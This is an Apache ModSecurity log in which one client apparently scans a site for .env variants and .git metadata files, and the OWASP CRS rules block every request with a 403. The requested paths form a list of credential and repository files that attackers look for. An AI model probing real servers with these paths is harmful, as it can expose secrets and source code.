[Tue Oct 27 11:27:20.702415 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auDC2Kk5WBwWuEHXa74CrwAAAAc"]
[Tue Oct 27 11:27:20.737986 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auDC2JmYpm98ZbHdHAlpBQAAAAA"]
[Tue Oct 27 11:27:20.738389 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auDC2JmYpm98ZbHdHAlpBQAAAAA"]
[Tue Oct 27 11:27:20.738818 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auDC2JmYpm98ZbHdHAlpBQAAAAA"]
[Tue Oct 27 11:27:20.761598 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auDC2ODGYG7bZ6qVgjrpOAAAABA"]
[Tue Oct 27 11:27:20.761802 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auDC2ODGYG7bZ6qVgjrpOAAAABA"]
[Tue Oct 27 11:27:20.762065 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auDC2ODGYG7bZ6qVgjrpOAAAABA"]
[Tue Oct 27 11:27:20.762096 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auDC2EogvnxwSoGhv_BPDwAAAA4"]
[Tue Oct 27 11:27:20.762301 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auDC2EogvnxwSoGhv_BPDwAAAA4"]
[Tue Oct 27 11:27:20.762585 2026] [security2:error] [pid 3254483:tid 3254483] [client 34.38.113.44:53886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auDC2EogvnxwSoGhv_BPDwAAAA4"]
[Tue Oct 27 11:27:20.763373 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auDC2DEbFPv4b_SwB77haAAAAAo"]
[Tue Oct 27 11:27:20.763525 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auDC2DEbFPv4b_SwB77haAAAAAo"]
[Tue Oct 27 11:27:20.763731 2026] [security2:error] [pid 3256317:tid 3256317] [client 34.38.113.44:53906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auDC2DEbFPv4b_SwB77haAAAAAo"]
[Tue Oct 27 11:27:20.774482 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auDC2BQ4PArk8zmfF_xaOAAAAAs"]
[Tue Oct 27 11:27:20.774671 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auDC2BQ4PArk8zmfF_xaOAAAAAs"]
[Tue Oct 27 11:27:20.774911 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auDC2BQ4PArk8zmfF_xaOAAAAAs"]
[Tue Oct 27 11:27:20.786344 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auDC2FoIklFaGsOHQ-PJDwAAAAw"]
[Tue Oct 27 11:27:20.786516 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auDC2FoIklFaGsOHQ-PJDwAAAAw"]
[Tue Oct 27 11:27:20.786728 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auDC2FoIklFaGsOHQ-PJDwAAAAw"]
[Tue Oct 27 11:27:20.901429 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auDC2Kk5WBwWuEHXa74CsAAAAAc"]
[Tue Oct 27 11:27:20.901716 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auDC2Kk5WBwWuEHXa74CsAAAAAc"]
[Tue Oct 27 11:27:20.902013 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auDC2Kk5WBwWuEHXa74CsAAAAAc"]
[Tue Oct 27 11:27:20.904271 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auDC2JmYpm98ZbHdHAlpBgAAAAA"]
[Tue Oct 27 11:27:20.904501 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auDC2JmYpm98ZbHdHAlpBgAAAAA"]
[Tue Oct 27 11:27:20.904803 2026] [security2:error] [pid 3257225:tid 3257225] [client 34.38.113.44:53922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auDC2JmYpm98ZbHdHAlpBgAAAAA"]
[Tue Oct 27 11:27:20.979469 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auDC2Aab8Q6c3Z8MLTxBhgAAABI"]
[Tue Oct 27 11:27:20.979629 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auDC2Aab8Q6c3Z8MLTxBhgAAABI"]
[Tue Oct 27 11:27:20.979844 2026] [security2:error] [pid 3249204:tid 3249204] [client 34.38.113.44:53870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auDC2Aab8Q6c3Z8MLTxBhgAAABI"]
[Tue Oct 27 11:27:20.980920 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auDC2ODGYG7bZ6qVgjrpOgAAABA"]
[Tue Oct 27 11:27:20.981047 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auDC2ODGYG7bZ6qVgjrpOgAAABA"]
[Tue Oct 27 11:27:20.981266 2026] [security2:error] [pid 3245441:tid 3245441] [client 34.38.113.44:53900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auDC2ODGYG7bZ6qVgjrpOgAAABA"]
[Tue Oct 27 11:27:21.014982 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaOgAAAAs"]
[Tue Oct 27 11:27:21.015252 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaOgAAAAs"]
[Tue Oct 27 11:27:21.015518 2026] [security2:error] [pid 3256490:tid 3256490] [client 34.38.113.44:53908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auDC2RQ4PArk8zmfF_xaOgAAAAs"]
[Tue Oct 27 11:27:21.053540 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auDC2ak5WBwWuEHXa74CsgAAAAc"]
[Tue Oct 27 11:27:21.053752 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auDC2ak5WBwWuEHXa74CsgAAAAc"]
[Tue Oct 27 11:27:21.054095 2026] [security2:error] [pid 3253972:tid 3253972] [client 34.38.113.44:53890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auDC2ak5WBwWuEHXa74CsgAAAAc"]
[Tue Oct 27 11:27:21.091431 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auDC2VoIklFaGsOHQ-PJEgAAAAw"]
[Tue Oct 27 11:27:21.091651 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.38.113.44:53882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auDC2VoIklFaGsOHQ-PJEgAAAAw"]
